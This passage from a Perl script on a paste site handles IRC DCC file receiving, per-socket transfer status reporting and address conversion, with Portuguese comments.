  889. return(0) if (-e "$arquivo");
  890. if (open(FILE, "> $arquivo")) {
  891. close FILE;
  892. } else {
  893. return(0);
  894. }
  895.  
  896. my $dccip=fixaddr($dcclongip);
  897. return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  898. my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  899. $dccsock->autoflush(1);
  900. $dcc_sel->add($dccsock);
  901. $DCC{$dccsock}{tipo} = 'get';
  902. $DCC{$dccsock}{itime} = time;
  903. $DCC{$dccsock}{nick} = $nick;
  904. $DCC{$dccsock}{bytes} = $bytes;
  905. $DCC{$dccsock}{curbyte} = 0;
  906. $DCC{$dccsock}{arquivo} = $arquivo;
  907. $DCC{$dccsock}{ip} = $dccip;
  908. $DCC{$dccsock}{porta} = $dccporta;
  909. $DCC{$dccsock}{status} = "Recebendo";
  910. }
  911.  
  912. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  913. sub Status {
  914. my $socket = shift;
  915. my $sock_tipo = $DCC{$socket}{tipo};
  916. unless (lc($sock_tipo) eq "chat") {
  917. my $nick = $DCC{$socket}{nick};
  918. my $arquivo = $DCC{$socket}{arquivo};
  919. my $itime = $DCC{$socket}{itime};
  920. my $ftime = time;
  921. my $status = $DCC{$socket}{status};
  922. $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  923.  
  924. my $d_time = $ftime-$itime;
  925.  
  926. my $cur_byte = $DCC{$socket}{curbyte};
  927. my $bytes_total = $DCC{$socket}{bytes};
  928.  
  929. my $rate = 0;
  930. $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  931. my $porcen = ($cur_byte*100)/$bytes_total;
  932.  
  933. my ($r_duv, $p_duv);
  934. if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  935. $r_duv = $3; $r_duv++ if $4 >= 5;
  936. $rate = "$1\.$2"."$r_duv";
  937. }
  938. if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  939. $p_duv = $3; $p_duv++ if $4 >= 5;
  940. $porcen = "$1\.$2"."$p_duv";
  941. }
  942. return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  943. }
  944.  
  945.  
  946. return(0);
  947. }
  948.  
  949.  
  950. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  951. sub fixaddr {
  952. my ($address) = @_;
  953.  
  954. chomp $address; # just in case, sigh.
  955. if ($address =~ /^\d+$/) {
  956. return inet_ntoa(pack "N", $address);
  957. } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  958. return $address;
  959. } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
  960. return inet_ntoa(((gethostbyname($address))[4])[0]);
  961. } else {
  962. return;
  963. }
  964. }
Advertisement
Add Comment
Please, Sign In to add comment